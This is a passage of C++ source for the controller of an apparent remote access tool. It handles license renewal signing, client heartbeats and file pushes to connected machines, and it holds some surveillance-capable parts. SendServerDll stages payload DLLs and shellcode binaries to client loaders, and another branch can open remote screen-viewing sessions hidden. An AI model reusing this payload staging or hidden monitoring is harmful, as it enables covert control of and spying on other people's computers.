RenewalInfo renewal = GetPendingRenewal(sn);
|
||
if (!renewal.IsValid() || m_superPass.empty()) {
|
||
return result;
|
||
}
|
||
|
||
// 检查当前到期时间是否小于预设到期时间
|
||
std::string currentExpire = ParseExpireDateFromPasscode(passcode);
|
||
if (currentExpire >= renewal.ExpireDate) {
|
||
return result; // 当前到期时间不小于预设到期时间,无需续期
|
||
}
|
||
|
||
// pwdHash 必须有效(64 字节)
|
||
if (pwdHash.length() != 64) {
|
||
Mprintf("GenerateRenewalInfo: pwdHash 长度无效 (%zu)\n", pwdHash.length());
|
||
return result;
|
||
}
|
||
|
||
// 计算从今天到过期日期的天数
|
||
int year = atoi(renewal.ExpireDate.substr(0, 4).c_str());
|
||
int month = atoi(renewal.ExpireDate.substr(4, 2).c_str());
|
||
int day = atoi(renewal.ExpireDate.substr(6, 2).c_str());
|
||
CTime expireTime(year, month, day, 0, 0, 0);
|
||
CTime now = CTime::GetCurrentTime();
|
||
CTime today(now.GetYear(), now.GetMonth(), now.GetDay(), 0, 0, 0);
|
||
CTimeSpan span = expireTime - today;
|
||
int days = (int)span.GetDays();
|
||
if (days <= 0) days = 1;
|
||
|
||
// 生成新的 passcode
|
||
char hostNum[10] = {};
|
||
sprintf(hostNum, "%04d", renewal.HostNum);
|
||
std::string password = getDateStr(0) + " - " + getDateStr(days) + ": " + pwdHash + ": " + hostNum;
|
||
std::string finalKey = deriveKey(password, sn);
|
||
std::string newPasscode = getDateStr(0) + "-" + getDateStr(days) + "-" + hostNum + "-" + getFixedLengthID(finalKey);
|
||
|
||
// 生成新的 hmac
|
||
std::string newHmac;
|
||
if (isV2) {
|
||
// V2 续期:使用 ECDSA 签名
|
||
std::string privateKeyPath = m_v2KeyPath;
|
||
if (!privateKeyPath.empty()) {
|
||
newHmac = signPasswordV2(sn, newPasscode, privateKeyPath.c_str());
|
||
if (newHmac.empty()) {
|
||
Mprintf("V2 续期签名失败: %s\n", sn.c_str());
|
||
// 降级到 V1
|
||
uint64_t hmacVal = SignMessage(m_superPass, (BYTE*)newPasscode.c_str(), (int)newPasscode.length());
|
||
newHmac = std::to_string(hmacVal);
|
||
}
|
||
} else {
|
||
Mprintf("V2 私钥未配置,降级到 V1: %s\n", sn.c_str());
|
||
uint64_t hmacVal = SignMessage(m_superPass, (BYTE*)newPasscode.c_str(), (int)newPasscode.length());
|
||
newHmac = std::to_string(hmacVal);
|
||
}
|
||
} else {
|
||
// V1 续期:使用 HMAC
|
||
uint64_t hmacVal = SignMessage(m_superPass, (BYTE*)newPasscode.c_str(), (int)newPasscode.length());
|
||
newHmac = std::to_string(hmacVal);
|
||
}
|
||
|
||
Mprintf("[TOKEN_AUTH] 生成续期: %s, %s -> %s, %d并发数, 配额剩余%d\n",
|
||
sn.c_str(), currentExpire.c_str(), renewal.ExpireDate.c_str(), renewal.HostNum, renewal.Quota - 1);
|
||
|
||
// 配额递减,配额用完后自动清除预设续期记录
|
||
DecrementPendingQuota(sn);
|
||
|
||
result.first = newPasscode;
|
||
result.second = newHmac;
|
||
return result;
|
||
}
|
||
|
||
// 统一的授权验证函数
|
||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||
// 返回: (authorized, isV2, isTrail, expired)
|
||
// expired=true 表示签名有效但已过期(可用于续期)
|
||
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
|
||
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
||
const std::string& hmacV2, const std::string& ip, const char* source)
|
||
{
|
||
bool authorized = false;
|
||
bool isV2 = false;
|
||
bool isTrail = false;
|
||
bool expired = false;
|
||
|
||
if (hmac == 0 && !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:") {
|
||
// V2 授权验证
|
||
isV2 = true;
|
||
authorized = AuthorizeClientV2(host, sn, passcode, hmacV2, &expired);
|
||
if (authorized) {
|
||
if (host) {
|
||
m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
|
||
}
|
||
isTrail = IsTrail(passcode.c_str());
|
||
}
|
||
if (ShouldLogAuth(sn, authorized)) {
|
||
if (authorized) {
|
||
Mprintf("[%s] %s V2 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||
std::string tip = passcode + std::string(_L(" V2 授权成功: ")) + sn + "[" + ip + "]";
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||
} else {
|
||
Mprintf("[%s] %s V2 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||
}
|
||
}
|
||
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
|
||
// V1 授权验证
|
||
isV2 = false;
|
||
authorized = AuthorizeClient(host, sn, passcode, hmac, &expired);
|
||
if (authorized) {
|
||
if (host) {
|
||
m_ClientMap->SetClientMapInteger(host->GetClientID(), MAP_AUTH, TRUE);
|
||
}
|
||
isTrail = IsTrail(passcode.c_str());
|
||
}
|
||
if (ShouldLogAuth(sn, authorized)) {
|
||
if (authorized) {
|
||
Mprintf("[%s] %s V1 授权成功: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||
std::string tip = passcode + std::string(_L(" V1 授权成功: ")) + sn + "[" + ip + "]";
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||
} else {
|
||
Mprintf("[%s] %s V1 授权失败: %s [%s]\n", source, passcode.c_str(), sn.c_str(), ip.c_str());
|
||
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||
}
|
||
}
|
||
}
|
||
|
||
return std::make_tuple(authorized, isV2, isTrail, expired);
|
||
}
|
||
|
||
// 检查并发送预设续期(多点验证)
|
||
void CMy2015RemoteDlg::SendPendingRenewal(CONTEXT_OBJECT* ctx, const std::string& sn,
|
||
const std::string& passcode, const char* source)
|
||
{
|
||
RenewalInfo renewal = GetPendingRenewal(sn);
|
||
if (!renewal.IsValid() || m_superPass.empty()) {
|
||
return;
|
||
}
|
||
|
||
std::string currentExpire = ParseExpireDateFromPasscode(passcode);
|
||
if (currentExpire >= renewal.ExpireDate) {
|
||
return; // 当前到期时间不小于预设到期时间,无需续期
|
||
}
|
||
|
||
// 计算从今天到过期日期的天数
|
||
int year = atoi(renewal.ExpireDate.substr(0, 4).c_str());
|
||
int month = atoi(renewal.ExpireDate.substr(4, 2).c_str());
|
||
int day = atoi(renewal.ExpireDate.substr(6, 2).c_str());
|
||
CTime expireTime(year, month, day, 0, 0, 0);
|
||
CTime now = CTime::GetCurrentTime();
|
||
CTime today(now.GetYear(), now.GetMonth(), now.GetDay(), 0, 0, 0);
|
||
CTimeSpan span = expireTime - today;
|
||
int days = (int)span.GetDays();
|
||
if (days <= 0) days = 1;
|
||
|
||
// 构建并发送 CMD_AUTHORIZATION
|
||
if (source) {
|
||
Mprintf("[%s] 自动下发续期: %s, %s -> %s, %d并发数\n",
|
||
source, sn.c_str(), currentExpire.c_str(), renewal.ExpireDate.c_str(), renewal.HostNum);
|
||
} else {
|
||
Mprintf("自动下发续期: %s, %s -> %s, %d并发数\n",
|
||
sn.c_str(), currentExpire.c_str(), renewal.ExpireDate.c_str(), renewal.HostNum);
|
||
}
|
||
|
||
BYTE bToken[32] = { CMD_AUTHORIZATION };
|
||
unsigned short usDays = (unsigned short)days;
|
||
unsigned short num = (unsigned short)renewal.HostNum;
|
||
uint32_t tm = clock();
|
||
memcpy(bToken + 1, &usDays, sizeof(usDays));
|
||
memcpy(bToken + 3, &num, sizeof(num));
|
||
memcpy(bToken + 8, &tm, sizeof(tm));
|
||
uint64_t signature = SignMessage(m_superPass, bToken, 12);
|
||
memcpy(bToken + 12, &signature, sizeof(signature));
|
||
ctx->Send2Client(bToken, sizeof(bToken));
|
||
|
||
// 配额递减,配额用完后自动清除预设续期记录
|
||
// 注意:必须在这里处理,因为心跳中的 SN 和请求中的 deviceID 可能不同
|
||
bool hasRemainingQuota = DecrementPendingQuota(sn);
|
||
Mprintf("[HEARTBEAT] 续期下发完成: %s, 剩余配额: %s\n", sn.c_str(), hasRemainingQuota ? "有" : "无");
|
||
|
||
// 提示续期已下发
|
||
std::string expireFmt = renewal.ExpireDate.substr(0, 4) + "-" +
|
||
renewal.ExpireDate.substr(4, 2) + "-" +
|
||
renewal.ExpireDate.substr(6, 2);
|
||
std::string tip = sn + g_Lang.Get(std::string(" 已自动续期至 ")) + expireFmt;
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||
{
|
||
auto clientID = ctx->GetClientID();
|
||
auto host = FindHost(clientID);
|
||
if (!host) {
|
||
// TODO: 不要简单地主动关闭连接
|
||
ctx->CancelIO();
|
||
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
|
||
return;
|
||
}
|
||
|
||
Heartbeat hb;
|
||
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
|
||
|
||
// 回复心跳
|
||
// if(0)
|
||
{
|
||
// 检查是否为 V2 授权
|
||
std::string hmacV2(hb.PwdHmacV2);
|
||
// 去除末尾空字符
|
||
while (!hmacV2.empty() && hmacV2.back() == '\0')
|
||
hmacV2.pop_back();
|
||
|
||
// 统一的 V1/V2 授权验证
|
||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
|
||
(void)expired; // 心跳不需要处理过期续期
|
||
|
||
// 检查并发送预设续期(多点验证)
|
||
SendPendingRenewal(ctx, hb.SN, hb.Passcode, "Heartbeat");
|
||
int authStatus = authorized ? (!m_v2KeyPath.empty() ? AUTHED_BY_SUPER : AUTHED_BY_ADMIN) : UNAUTHORIZED;
|
||
HeartbeatACK ack = { hb.Time, (char)authStatus, (char)isTrail };
|
||
if (authorized) {
|
||
std::string authorization = isV2 ? LoadLicenseAuthorization(hb.SN) : BuildV1Authorization(hb.SN, true);
|
||
memcpy(ack.Authorization, authorization.c_str(), authorization.length());
|
||
}
|
||
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
||
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
|
||
ctx->Send2Client(buf, sizeof(buf));
|
||
ctx->SetLastHeartbeat(time(0));
|
||
}
|
||
|
||
CLock L(m_cs);
|
||
// 使用索引快速查找
|
||
auto indexIt = m_ClientIndex.find(clientID);
|
||
if (indexIt != m_ClientIndex.end() && indexIt->second < m_HostList.size()) {
|
||
context* id = m_HostList[indexIt->second];
|
||
if (id) {
|
||
bool changed = false;
|
||
// 只在数据变化时标记 dirty
|
||
CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||
if (oldActiveWnd != hb.ActiveWnd) {
|
||
ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
||
changed = true;
|
||
}
|
||
if (hb.Ping > 0) {
|
||
CString newPing = std::to_string(hb.Ping).c_str();
|
||
if (ctx->GetClientData(ONLINELIST_PING) != newPing) {
|
||
ctx->SetClientData(ONLINELIST_PING, newPing);
|
||
changed = true;
|
||
}
|
||
}
|
||
CString newVideo = hb.HasSoftware ? _TR("有") : _TR("无");
|
||
if (ctx->GetClientData(ONLINELIST_VIDEO) != newVideo) {
|
||
ctx->SetClientData(ONLINELIST_VIDEO, newVideo);
|
||
changed = true;
|
||
}
|
||
id->SetLastHeartbeat(time(0));
|
||
if (changed) {
|
||
m_DirtyClients.insert(clientID);
|
||
|
||
// Notify web clients of device update
|
||
if (WebService().IsRunning()) {
|
||
std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : "";
|
||
// Convert ANSI to UTF-8 for web
|
||
std::string activeWnd;
|
||
CString csActiveWnd(hb.ActiveWnd);
|
||
if (!csActiveWnd.IsEmpty()) {
|
||
int wlen = MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, NULL, 0);
|
||
if (wlen > 0) {
|
||
std::wstring wstr(wlen - 1, L'\0');
|
||
MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, &wstr[0], wlen);
|
||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||
if (u8len > 0) {
|
||
activeWnd.resize(u8len - 1);
|
||
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
|
||
}
|
||
}
|
||
}
|
||
WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// 根据套接字端口寻找对应的在线主机, 返回在线主机 context
|
||
context* CMy2015RemoteDlg::FindHostNoLock(int port)
|
||
{
|
||
// caller must hold m_cs lock
|
||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||
if ((*i)->GetPort() == port) {
|
||
return *i;
|
||
}
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
context* CMy2015RemoteDlg::FindHost(int port)
|
||
{
|
||
CLock L(m_cs);
|
||
return FindHostNoLock(port);
|
||
}
|
||
|
||
// 根据ID寻找对应的在线主机, 返回在线主机 context
|
||
context* CMy2015RemoteDlg::FindHostNoLock(uint64_t id)
|
||
{
|
||
// caller must hold m_cs lock
|
||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||
if ((*i)->GetClientID() == id) {
|
||
return *i;
|
||
}
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
context* CMy2015RemoteDlg::FindHost(uint64_t id)
|
||
{
|
||
CLock L(m_cs);
|
||
return FindHostNoLock(id);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m)
|
||
{
|
||
BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING };
|
||
memcpy(buf+1, &m, sizeof(MasterSettings));
|
||
|
||
if (ctx) {
|
||
ctx->Send2Client(buf, sizeof(buf));
|
||
} else {
|
||
EnterCriticalSection(&m_cs);
|
||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||
context* ContextObject = *i;
|
||
if (!ContextObject->IsLogin())
|
||
continue;
|
||
ContextObject->Send2Client(buf, sizeof(buf));
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
}
|
||
|
||
// V2 文件发送到客户端:回调数据结构
|
||
struct SendV2CallbackData {
|
||
uint64_t clientID; // 用客户端ID而不是指针,因为context可能被复用
|
||
CDlgFileSend* dlg;
|
||
};
|
||
|
||
// V2 文件发送到客户端的回调函数
|
||
static bool SendFileChunkToClientV2(void* user, FileChunkPacketV2* chunk, unsigned char* data, int size)
|
||
{
|
||
SendV2CallbackData* cbData = (SendV2CallbackData*)user;
|
||
if (!cbData) {
|
||
Mprintf("【V2传输】 回调数据为空\n");
|
||
return false;
|
||
}
|
||
|
||
// 通过ID查找客户端,检查是否仍然在线
|
||
context* ctx = g_2015RemoteDlg->FindHost(cbData->clientID);
|
||
if (!ctx) {
|
||
Mprintf("【V2传输】 客户端已断开 (clientID=%llu),停止传输\n", cbData->clientID);
|
||
return false;
|
||
}
|
||
|
||
// 发送数据
|
||
BOOL sent = ctx->Send2Client(data, size);
|
||
if (!sent) {
|
||
Mprintf("【V2传输】 Send2Client 失败: size=%d, clientID=%llu\n", size, cbData->clientID);
|
||
}
|
||
|
||
// FILE_COMPLETE_V2 包结构不同,跳过进度更新
|
||
if (data[0] == COMMAND_FILE_COMPLETE_V2) {
|
||
Mprintf("【V2传输】 发送校验包\n");
|
||
return sent != FALSE;
|
||
}
|
||
|
||
// 更新进度
|
||
if (cbData->dlg && chunk) {
|
||
BYTE* name = data + sizeof(FileChunkPacketV2);
|
||
CString fileName((char*)name, (int)chunk->nameLength);
|
||
cbData->dlg->UpdateProgress(fileName, FileProgressInfo(chunk));
|
||
}
|
||
|
||
return sent != FALSE;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir)
|
||
{
|
||
if (!mainCtx || files.empty()) return;
|
||
|
||
uint64_t clientID = mainCtx->GetClientID();
|
||
|
||
// 检查是否有未完成的相同传输(复用 transferID 实现续传)
|
||
uint64_t existingTransferID = 0;
|
||
{
|
||
std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
|
||
for (auto& pair : g_pendingTransfersV2) {
|
||
if (pair.second.clientID == clientID && pair.second.files == files) {
|
||
existingTransferID = pair.first;
|
||
Mprintf("【V2传输】 找到未完成传输, 复用 transferID=%llu\n", existingTransferID);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
if (existingTransferID) {
|
||
// 复用已有的 transferID,无需等待客户端响应偏移(客户端会通过 COMMAND_FILE_QUERY_RESUME 回复)
|
||
SendFilesToClientV2Internal(mainCtx, files, existingTransferID, {}, targetDir);
|
||
} else {
|
||
SendFilesToClientV2Internal(mainCtx, files, 0, {}, targetDir);
|
||
}
|
||
}
|
||
|
||
// 内部实现,支持断点续传
|
||
void CMy2015RemoteDlg::SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir)
|
||
{
|
||
if (!mainCtx || files.empty()) return;
|
||
|
||
// 续传使用原transferID,新传输生成新ID
|
||
uint64_t transferID = resumeTransferID ? resumeTransferID : GenerateTransferID();
|
||
CONTEXT_OBJECT* ctxObj = dynamic_cast<CONTEXT_OBJECT*>(mainCtx);
|
||
|
||
// 创建进度对话框
|
||
CDlgFileSend* dlg = nullptr;
|
||
if (ctxObj) {
|
||
dlg = new CDlgFileSend(this, ctxObj->GetServer(), ctxObj, TRUE);
|
||
dlg->m_bKeepConnection = TRUE; // V2传输使用主连接,关闭对话框时不断开
|
||
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_HIDE); // 首次显示由 UpdateProgress 触发
|
||
dlg->SetWindowTextA(resumeTransferID ? _TR("续传文件 (V2)") : _TR("发送文件 (V2)"));
|
||
}
|
||
|
||
// 保存客户端ID(用于后续查找,因为context可能被复用)
|
||
uint64_t clientID = mainCtx->GetClientID();
|
||
|
||
// 保存传输状态(用于断点续传)
|
||
if (!resumeTransferID) {
|
||
std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
|
||
g_pendingTransfersV2[transferID] = { clientID, files, GetTickCount() };
|
||
Mprintf("【V2传输】 保存传输状态, transferID=%llu, files=%zu\n", transferID, files.size());
|
||
}
|
||
|
||
// 先通知客户端准备接收(捕获当前目录)- 续传时或已指定目标目录时不需要
|
||
if (!resumeTransferID && targetDir.empty()) {
|
||
C2CPreparePacket prepare = {};
|
||
prepare.cmd = COMMAND_C2C_PREPARE;
|
||
prepare.transferID = transferID;
|
||
prepare.srcClientID = 0; // 主控端
|
||
mainCtx->Send2Client((BYTE*)&prepare, sizeof(prepare));
|
||
Mprintf("【V2传输】 通知客户端准备, transferID=%llu\n", transferID);
|
||
}
|
||
|
||
// 续传时先发送查询
|
||
if (resumeTransferID) {
|
||
// 构建续传查询包
|
||
std::vector<std::pair<std::string, uint64_t>> fileInfos;
|
||
for (const auto& f : files) {
|
||
WIN32_FILE_ATTRIBUTE_DATA fad;
|
||
if (GetFileAttributesExA(f.c_str(), GetFileExInfoStandard, &fad)) {
|
||
uint64_t size = ((uint64_t)fad.nFileSizeHigh << 32) | fad.nFileSizeLow;
|
||
// 提取文件名(不含路径)
|
||
size_t pos = f.find_last_of("\\/");
|
||
std::string name = (pos != std::string::npos) ? f.substr(pos + 1) : f;
|
||
fileInfos.push_back({name, size});
|
||
}
|
||
}
|
||
auto queryPkt = BuildResumeQuery(transferID, 0, clientID, fileInfos);
|
||
if (!queryPkt.empty()) {
|
||
mainCtx->Send2Client(queryPkt.data(), (UINT)queryPkt.size());
|
||
Mprintf("【V2传输】 发送续传查询, transferID=%llu, files=%zu\n", transferID, fileInfos.size());
|
||
}
|
||
}
|
||
|
||
// 在新线程中发送文件
|
||
std::thread([this, clientID, files, transferID, dlg, startOffsets, resumeTransferID, targetDir]() {
|
||
// 检查程序是否正在退出
|
||
if (g_bAppExiting) return;
|
||
|
||
// 等待客户端准备/响应
|
||
if (resumeTransferID) {
|
||
Sleep(500); // 等待续传响应
|
||
} else if (targetDir.empty()) {
|
||
Sleep(500); // 等待 COMMAND_C2C_PREPARE 处理完成(增加到500ms以支持Linux客户端)
|
||
}
|
||
|
||
// 再次检查退出标志
|
||
if (g_bAppExiting) return;
|
||
|
||
// 检查客户端是否还在线
|
||
context* ctx = FindHost(clientID);
|
||
if (!ctx) {
|
||
Mprintf("【V2传输】 客户端已断开 (clientID=%llu),取消传输\n", clientID);
|
||
if (dlg) dlg->FinishFileSend(FALSE);
|
||
return;
|
||
}
|
||
Mprintf("【V2传输】 开始传输, clientID=%llu, files=%zu\n", clientID, files.size());
|
||
|
||
// 获取续传偏移(从全局状态)
|
||
std::map<uint32_t, uint64_t> offsets = startOffsets;
|
||
if (resumeTransferID && offsets.empty()) {
|
||
// 尝试获取客户端响应的偏移
|
||
if (WaitForResumeOffsets(offsets, 2500)) {
|
||
Mprintf("【V2传输】 收到续传偏移: %zu 个文件\n", offsets.size());
|
||
} else {
|
||
Mprintf("【V2传输】 未收到续传偏移,从头开始\n");
|
||
}
|
||
}
|
||
|
||
std::string hash = GetPwdHash();
|
||
std::string hmac = GetHMAC(100);
|
||
|
||
TransferOptionsV2 opts = {};
|
||
opts.transferID = transferID;
|
||
opts.srcClientID = 0; // 服务端
|
||
opts.dstClientID = clientID;
|
||
opts.enableResume = false; // 已手动处理
|
||
opts.startOffsets = offsets;
|
||
|
||
// 使用包含对话框的回调数据(用clientID而不是指针)
|
||
SendV2CallbackData cbData = { clientID, dlg };
|
||
int result = FileBatchTransferWorkerV2(files, targetDir, &cbData, SendFileChunkToClientV2, nullptr, hash, hmac, opts);
|
||
|
||
// 检查最终结果:传输函数返回0且客户端仍在线才算成功
|
||
bool success = (result == 0) && (FindHost(clientID) != nullptr);
|
||
Mprintf("【V2传输】 %s, transferID=%llu, result=%d\n", success ? "完成" : "失败", transferID, result);
|
||
|
||
// 传输完成,清理状态
|
||
if (success) {
|
||
std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
|
||
g_pendingTransfersV2.erase(transferID);
|
||
}
|
||
|
||
// 通知完成(先检查程序是否正在退出)
|
||
if (!g_bAppExiting && dlg && ::IsWindow(dlg->GetSafeHwnd())) {
|
||
dlg->FinishFileSend(success);
|
||
}
|
||
}).detach();
|
||
}
|
||
|
||
// 处理客户端的续传请求(服务端是源)
|
||
void CMy2015RemoteDlg::HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len)
|
||
{
|
||
if (len < sizeof(FileResumePacketV2)) {
|
||
Mprintf("[V2续传] 请求包太短: %zu\n", len);
|
||
return;
|
||
}
|
||
|
||
const FileResumePacketV2* pkt = (const FileResumePacketV2*)data;
|
||
uint64_t transferID = pkt->transferID;
|
||
uint64_t clientID = pkt->dstClientID;
|
||
|
||
// 查找待续传的传输
|
||
PendingTransferV2 transfer;
|
||
{
|
||
std::lock_guard<std::mutex> lock(g_pendingTransfersV2Mtx);
|
||
auto it = g_pendingTransfersV2.find(transferID);
|
||
if (it == g_pendingTransfersV2.end()) {
|
||
Mprintf("[V2续传] 未找到传输记录: transferID=%llu\n", transferID);
|
||
return;
|
||
}
|
||
transfer = it->second;
|
||
}
|
||
|
||
// 验证客户端ID
|
||
if (transfer.clientID != clientID) {
|
||
Mprintf("[V2续传] 客户端ID不匹配: 期望=%llu, 实际=%llu\n", transfer.clientID, clientID);
|
||
return;
|
||
}
|
||
|
||
// 解析已接收的区间,计算起始偏移
|
||
std::map<uint32_t, uint64_t> startOffsets;
|
||
|
||
// 从请求中获取 receivedBytes 作为起始偏移
|
||
// 注意:当前实现简化为单文件,使用 receivedBytes 作为偏移
|
||
uint32_t fileIndex = pkt->fileIndex;
|
||
uint64_t receivedBytes = pkt->receivedBytes;
|
||
|
||
if (receivedBytes > 0) {
|
||
startOffsets[fileIndex] = receivedBytes;
|
||
Mprintf("[V2续传] 文件 %u 从偏移 %llu 开始续传\n", fileIndex, receivedBytes);
|
||
}
|
||
|
||
// 获取当前客户端的 context(可能已经是新的连接)
|
||
context* mainCtx = FindHost(clientID);
|
||
if (!mainCtx) {
|
||
Mprintf("[V2续传] 客户端不在线: %llu\n", clientID);
|
||
return;
|
||
}
|
||
|
||
Mprintf("[V2续传] 开始续传: transferID=%llu, files=%zu\n", transferID, transfer.files.size());
|
||
|
||
// 调用内部函数开始续传
|
||
SendFilesToClientV2Internal(mainCtx, transfer.files, transferID, startOffsets);
|
||
}
|
||
|
||
bool isAllZeros(const BYTE* data, int len)
|
||
{
|
||
for (int i = 0; i < len; ++i)
|
||
if (data[i])
|
||
return false;
|
||
return true;
|
||
}
|
||
|
||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
|
||
{
|
||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
||
if (buf->length()) {
|
||
// 检查旧客户端是否能接收大 DLL (旧 test.cpp 客户端 bufSize=4MB)
|
||
// 注:SHELLCODE 请求来自 main.c,一直是 8MB,不需要检查
|
||
const size_t OLD_CLIENT_MAX_SIZE = 4 * 1024 * 1024;
|
||
if (isDLL && buf->length() > OLD_CLIENT_MAX_SIZE) {
|
||
Mprintf("[SendServerDll] DLL size %.2f MB: use TinyRunDLL instead.\n", buf->length()/1024.);
|
||
buf = is64Bit ? m_TinyRun[PAYLOAD_DLL_X64] : m_TinyRun[PAYLOAD_DLL_X86];
|
||
}
|
||
// 只有发送了IV的加载器才支持AES加密
|
||
int len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||
bool hasIV = len >= 32 && !isAllZeros(ContextObject->InDeCompressedBuffer.GetBuffer(16), 16);
|
||
char md5[33] = {};
|
||
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
|
||
if (!buf->MD5().empty() && md5 != buf->MD5()) {
|
||
ContextObject->Send2Client(buf->Buf(), buf->length(!hasIV));
|
||
return TRUE;
|
||
} else {
|
||
ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
|
||
}
|
||
}
|
||
return FALSE;
|
||
}
|
||
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||
LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
|
||
LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49);
|
||
uint64_t clientID = p ? *((uint64_t*)p) : 0;
|
||
uint64_t dlgID = q ? *((uint64_t*)q) : 0;
|
||
auto mainCtx = clientID ? FindHost(clientID) : NULL;
|
||
CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
|
||
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
|
||
if (dlg) {
|
||
if (GetRemoteWindow(dlg))
|
||
return dlg->UpdateContext(ContextObject, clientID);
|
||
Mprintf("收到远程桌面打开消息, 对话框已经销毁: %llu\n", dlgID);
|
||
BYTE bToken = COMMAND_BYE;
|
||
return ContextObject->Send2Client(&bToken, 1) ? 0 : 0x20260223;
|
||
}
|
||
if (clientID && WebService().IsRunning() && WebService().IsWebTriggered(clientID) && WebService().GetHideWebSessions()) {
|
||
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_HIDE>(wParam, lParam);
|
||
}
|
||
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CFileManagerDlg, IDD_FILE>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenTalkDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CTalkDlg, IDD_DIALOG_TALK>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
return OpenDialog<CShellDlg, IDD_DIALOG_SHELL>(wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnOpenTerminalDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
// 复用 ShellDlg 的对话框模板,TerminalDlg 会在初始化时替换 Edit 为 WebView2
|
||
return OpenDialog<CTerminalDlg, IDD_DIALOG_SHELL>(wParam, lParam);
|
||
}
|
||
|
||
|
||
